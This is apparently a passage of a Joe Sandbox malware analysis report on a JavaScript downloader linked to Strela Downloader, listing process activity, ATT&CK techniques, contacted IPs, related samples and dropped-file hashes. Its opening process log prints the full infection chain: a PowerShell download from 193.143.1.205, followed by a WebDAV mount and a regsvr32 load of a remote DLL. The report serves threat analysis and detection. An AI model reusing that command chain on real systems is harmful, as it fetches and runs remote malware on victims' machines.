Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2387315401298627745.js	8%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1286587943.0000025085F90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2515119029.0000025086200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296862332.000002AE64720000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 0000000C.00000003.1294002796.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/.	net.exe, 0000000C.00000003.1294002796.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591639
Start date and time:	2025-01-15 08:40:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2387315401298627745.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.214.172, 2.16.168.125, 2.16.168.107, 23.209.209.135, 2.22.242.136, 2.22.242.128, 2.16.168.105, 13.107.253.45, 20.109.210.53, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:41:03	API Interceptor	21x Sleep call for process: powershell.exe modified
02:41:06	API Interceptor	1x Sleep call for process: net.exe modified
02:41:07	API Interceptor	2x Sleep call for process: svchost.exe modified
02:41:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	Reversed order 24-25.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	tTbeoLWNhb.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	Document-01-16-25.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Eastern Contractors Corporation Contract and submittal document.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	v9xYj92wR3.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	8886101892955431603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067022039410369
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqo:2JIB/wUKUKQncEmYRTwh0k
MD5:	6692CBF3B9C6E10BD319ED252CB46892
SHA1:	0E0E6A4AA2EB030E5D51A8D04EBF8E5B50B241D6
SHA-256:	85DF8B1924CE2348A59E6832F213D587287C005FF1FAD89F4490F90169D7257A
SHA-512:	0DAC3FE51C65BD57C46007656DBD3993B3D1B6E810CCA939694E072B85AC8B0438377EDBD5B187AA869F1F742BE32688CF495049F219E72074394C699957B784
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa946f25c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899827782426916
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	89D9EE5A2118AFF9B4E746CC389E5695
SHA1:	D45C73E1DB5F6956C088FEBB7E678808F9FBCC57
SHA-256:	FD2B55CBBA088ECE48DF7DC13800D554AD05A7E81F37E6FAF370CD262DE7F7A2
SHA-512:	5908E2E939A4E4C458775F4E0578DF94EF7B4FEAE14F7E764EDB252A897C9C5A07799976A34E87F06B23058658D25905060B4FA07B728B1CFAE052FC9AE33868
Malicious:	false
Preview:	.F.\... ...............X\...;...{......................0.`.....42...{5..)...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................Q...)...}+.....................)...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08207669109788383
Encrypted:	false
SSDEEP:	3:uElEYeVjDZt/57Dek3Jt5D+llEqW3l/TjzzQ/t:uEyzVjfR3tOmd8/
MD5:	D2C76E4E36D992635BDCB9EAC4240E34
SHA1:	E3EF95AC2C732E6A46D9308734FCB1F63FC940A4
SHA-256:	B3013A76B961C26203D253F2FC90F144A50ED4238E3866A0C5E3D4F4CDFC89C2
SHA-512:	4DD91D9B889AE24B80F6B3F193D3EF22EE8CB441C46869D4C3830015F692DA415E890C8D173BA6420054D1EA42F14B39D6651FABBD6F8AABE930D64F2468833A
Malicious:	false
Preview:	........................................;...{...)...}..42...{5.........42...{5.42...{5...Y.42...{59....................)...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.187824268878212
Encrypted:	false
SSDEEP:	6:iOuycpL+q2PcNwi2nKuAl9OmbnIFUt4yaKWZmwiyMLVkwOcNwi2nKuAl9OmbjLJ:7qpL+vLZHAahFUtZW/eLV54ZHAaSJ
MD5:	AD076C1756641DBE2B411A54A139DF47
SHA1:	197EA26AEDE7ED9080C80C9A68740786EBC67E5D
SHA-256:	3A8B42157678C471724274CBC6D23A63B4BE42EEB81DDD983EBC132F78F40EEC
SHA-512:	605C5D7306AAD717DB72A979ABD2E5F107C7E1A296C128EB94B79C27C83B3C9867828D0C1605E600115E4DFFC652FC06BD4A475B6F8381398ECA302DAFC764CD
Malicious:	false
Preview:	2025/01/15-02:41:06.724 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-02:41:06.726 1ccc Recovering log #3.2025/01/15-02:41:06.726 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.187824268878212
Encrypted:	false
SSDEEP:	6:iOuycpL+q2PcNwi2nKuAl9OmbnIFUt4yaKWZmwiyMLVkwOcNwi2nKuAl9OmbjLJ:7qpL+vLZHAahFUtZW/eLV54ZHAaSJ
MD5:	AD076C1756641DBE2B411A54A139DF47
SHA1:	197EA26AEDE7ED9080C80C9A68740786EBC67E5D
SHA-256:	3A8B42157678C471724274CBC6D23A63B4BE42EEB81DDD983EBC132F78F40EEC
SHA-512:	605C5D7306AAD717DB72A979ABD2E5F107C7E1A296C128EB94B79C27C83B3C9867828D0C1605E600115E4DFFC652FC06BD4A475B6F8381398ECA302DAFC764CD
Malicious:	false
Preview:	2025/01/15-02:41:06.724 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-02:41:06.726 1ccc Recovering log #3.2025/01/15-02:41:06.726 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.219259099682854
Encrypted:	false
SSDEEP:	6:iOuypV3+q2PcNwi2nKuAl9Ombzo2jMGIFUt4ypTqZZmwiyp5VVkwOcNwi2nKuAlx:7t+vLZHAa8uFUtM/9VV54ZHAa8RJ
MD5:	F5D514A1A769CD180079710DDAD4CBC2
SHA1:	765D181F5326F597F4F165B0D0D7505EFBCE4591
SHA-256:	1A0AE39C3FE425C5F8A10095363C82D8FFAAA57F899919778262672894D3084F
SHA-512:	20AD62E2AE08FC26191032BE523FF68C4D6461A2702EF6E53CC8FA0F4C25E000C0D3B7327F115F9C1978C4FDF7FA5F679D9E9C3B73CE4BF4BA8CC1BD6F366F49
Malicious:	false
Preview:	2025/01/15-02:41:06.876 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-02:41:06.877 1d7c Recovering log #3.2025/01/15-02:41:06.878 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.219259099682854
Encrypted:	false
SSDEEP:	6:iOuypV3+q2PcNwi2nKuAl9Ombzo2jMGIFUt4ypTqZZmwiyp5VVkwOcNwi2nKuAlx:7t+vLZHAa8uFUtM/9VV54ZHAa8RJ
MD5:	F5D514A1A769CD180079710DDAD4CBC2
SHA1:	765D181F5326F597F4F165B0D0D7505EFBCE4591
SHA-256:	1A0AE39C3FE425C5F8A10095363C82D8FFAAA57F899919778262672894D3084F
SHA-512:	20AD62E2AE08FC26191032BE523FF68C4D6461A2702EF6E53CC8FA0F4C25E000C0D3B7327F115F9C1978C4FDF7FA5F679D9E9C3B73CE4BF4BA8CC1BD6F366F49
Malicious:	false
Preview:	2025/01/15-02:41:06.876 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-02:41:06.877 1d7c Recovering log #3.2025/01/15-02:41:06.878 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6c90b694-4561-43ab-8d36-af95271d2328.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9710571999777065
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HEvcaq3QYiubSpDyP7E4T3y:Y2sRds/dMHJ3QYhbSpDa7nby
MD5:	41EBEDB4E1FFF8A19A743E3924729ACE
SHA1:	7F7509993233EDB0A58942798A05E322D6224C7E
SHA-256:	174C031FE58EDA57E02B7D012C4ED9E5AFDC13EC9BE71DF43767517EEBA2F533
SHA-512:	BD1DC7960F7BBCCE8C53FF899DBECF1958C4264B6B3C3C74F0625F0F0FFC4EA869D53535D8CCB8AA874B0D5865CDF3F5C860A14295F56A9DEB1FD9D9775AE247
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381486879415067","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134532},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\98a52197-9cb4-4b1c-9acc-0236c6446066.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4ea51e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234280605935321
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPZWKHA0H:CwNw1GHqPySfkcigoO3h28ytPFHA0H
MD5:	287F6FDECC4395C2043176E48A220E35
SHA1:	8079C32004E2EF976F7AFC3D19892AB1DCC6A7B4
SHA-256:	7BEDCF19A26FF868DBA042ADED0DE7904F5E1AAA149BF7BB4CCB46A34F2E6099
SHA-512:	96CA339D17F4FFC7BF1E1AB560D9320C87BEE7EB5CF915B6C1EDBF9BEC9495C6747D81531F7D8F581EB2FD266F05168F0700C12E5C761DC209681155A77B634F
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.166683275018972
Encrypted:	false
SSDEEP:	6:iOuO+q2PcNwi2nKuAl9OmbzNMxIFUt4X1FZZmwiJNVkwOcNwi2nKuAl9OmbzNMFd:7L+vLZHAa8jFUtiZ/WV54ZHAa84J
MD5:	50ECA4247B807694FCD51AC5CAEE98E8
SHA1:	CA90141DA315AD0105865EC0CBFBEE7B4F3642A9
SHA-256:	00689B741C61D883F3650061913DBA302C4753170117F37BFC892876FFE23070
SHA-512:	4CC22D5F43AD7A77A9CD8F23FF3F4F029EA083F5869D77EB9FFA8B9CF461080732898A1C2FCA7AD096F87CB7663642E79934A5881D8CA8AA964D031E2823D3FE
Malicious:	false
Preview:	2025/01/15-02:41:07.071 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-02:41:07.092 1d7c Recovering log #3.2025/01/15-02:41:07.115 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.166683275018972
Encrypted:	false
SSDEEP:	6:iOuO+q2PcNwi2nKuAl9OmbzNMxIFUt4X1FZZmwiJNVkwOcNwi2nKuAl9OmbzNMFd:7L+vLZHAa8jFUtiZ/WV54ZHAa84J
MD5:	50ECA4247B807694FCD51AC5CAEE98E8
SHA1:	CA90141DA315AD0105865EC0CBFBEE7B4F3642A9
SHA-256:	00689B741C61D883F3650061913DBA302C4753170117F37BFC892876FFE23070
SHA-512:	4CC22D5F43AD7A77A9CD8F23FF3F4F029EA083F5869D77EB9FFA8B9CF461080732898A1C2FCA7AD096F87CB7663642E79934A5881D8CA8AA964D031E2823D3FE
Malicious:	false
